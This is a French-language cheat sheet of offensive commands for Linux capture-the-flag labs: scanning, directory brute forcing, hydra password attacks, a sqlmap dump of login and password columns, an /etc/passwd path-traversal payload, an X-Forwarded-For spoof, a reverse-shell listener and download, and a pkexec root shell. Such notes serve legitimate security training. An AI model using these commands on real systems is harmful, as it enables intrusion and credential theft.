CS CTF LINUX

```
#nmap
    nmap -sV -oN nmap.txt <ip cible>
    nmap --script=vuln <ip cible>
#gobuster
    gobuster dir -u http://<ip cible> -w /usr/share/wordlists/dirb/common.txt
#gobuster pour reperer d'autre fichier
    gobuster dir -u http://10.10.80.250 -w
/usr/share/wordlists/dirb/common.txt -x php,html,txt,bak -t 30
#filtrage gobuster
    --status-codes-blacklist 404
#gobuster avec une wordlist plus complet
    gobuster dir -u http://10.10.80.250 -w
/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50
#nikto
    nikto -h http://<ip cible>
#fuff
    ffuf -u http://<ip cible>/FUZZ -w /usr/share/wordlists/dirb/common.txt
#hydra
    hydra -l utilisateur -P /usr/share/seclists/Passwords/xato-net-10-million-
passwords-10.txt <ip cible> ssh
    sudo hydra -L usernames.txt -P passwords.txt <ip cible> http-post-form
"/login:username=^USER^&password=^PASS^:Error" -v -t 40
    hydra -l user -P passlist.txt ftp://<ip cible>
#sqlmap
    sqlmap -u "http://<ip cible>/vuln.php?id=1" -D nom_de_la_base -T
nom_de_la_table -C login,passwd --dump --batch
#rustscan
    rustscan -a <ip cible> -r 1-5000
    ~/.cargo/bin/rustscan -a <ip cible> -r 1-5000
#searchsploit
    searchsploit
#reverse shell
    nc -lvnp <port d'écoute>
    wget https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-
reverse-shell.php
#localiser un fichier
    find / -type d -name "nom_du_dossier"
    locate nom_du_dossier
#rajouter l'IP dans le fichiers hosts
    echo "<ip cible> <domaine correspondant>" | sudo tee -a /etc/hosts
    sudo nano /etc/hosts
```

```
#décompresser un fichier zip
    unzip <nom_du_fichier>.zip
#identifier un service malveillant
    ps aux
    systemctl | grep running
#identifier les méthodes http autorisé
    curl -X OPTIONS http://<ip ou domaine> -i
    nmap -p <port> --script http-methods -oN nmap_http_method.txt <ipcible>
#vérifier les headers
    curl -I http://<ip cible>
#exploiter les sous domaines phpmyadmin et server status en spoofant un header
IP
    curl -H "X-Forwarded-For: 127.0.0.1" http://<ip cible>/phpmyadmin
    curl -H "X-Forwarded-For: 127.0.0.1" http://<ipcible>/server-status
#telecharger les document javascript du site
    curl http://<ip cible>/javascript/somefile.js -o somefile.js
#chercher par mot cle dans le fichier javascript
    grep -Ei "password|admin|user|auth|token|flag|fetch" somefile.js
#trouver une vulnérabilité type LFI taper cette URL
    http://<ip cible>/index.php?page=../../../../etc/passwd
#ouvrir le fichier dans une intervace graphique
    pluma <chemin/du/fichier>
#chiffrer en hexadicimal un fichier
    hexeditor <chemin/du/fichier>
#connexion NFS
    showmount -e <ip cible>
    sudo mount -t nfs <ip cible>:/<share> /mnt
#ftp
    ftp <ip cible>
#connexion en anonyme sur ftp
    Username : anonymous Password : vide ou anonymous@domain.com
#extraire des données cachées dans une image
    steghide extract -sf <nom du fichier>
#esclavation de privilege ssh
    sudo -l
    sudo pkexec /bin/sh
#télécharger les img d'un site
    wget -r -l1 -H -nd -A jpg,jpeg,png,gif,bmp -e robots=off http://<url du
site>
#trouver les metadonnées d'une img
    exiftool "nom de l'image" > metadonnees.txt
    exif "nom de l'image" > metadonnees.txt
#outil de kali linux pour repéré de la stéganographie
    steghide extract -sf <nom_image>
    steghide info <nom_image>
#trouver la vulnérabilité d'un site wordpress
```

```
    wpscan --url http://<URL du site>/wp-content/
#trouver un domaine d'un site
    nslookup <adresse-IP>
    dig -x 10.10.65.47
#wfuzz
    wfuzz -c -z file,/usr/share/wordlists/dirb/common.txt --hc 404
http://<domaine.dusite>/FUZZ
#faire de l'osint pour un mail
    pipx install holehe
    holehe <email@.com>
#afficher les caractères prensent dans une image
    strings image.jpg | less
#détecter des partie malveillant à un fichier
    binwalk -e challenge.img
#trouver des flag dans des paquets Wifi
    strings packets.pcap | grep -i THM
#autoriser le port pour l'utiliser pour nc notamment
    sudo iptables -A INPUT -p tcp --dport 4444 -j ACCEPT
#enum4linux
enum4linux [option] <IP cible>
```

[nmap]
[gobuster]
[nikto installé de base sur Kali]
[ffuf]
[hydra]
[sqlmap]
[rustscan (quand NMAP ne fonctionne pas)]
[reverse shells]
[exploitation des vulnérabilité]
[linux cs]
[linux(escalade de privilège)]

break l'authentification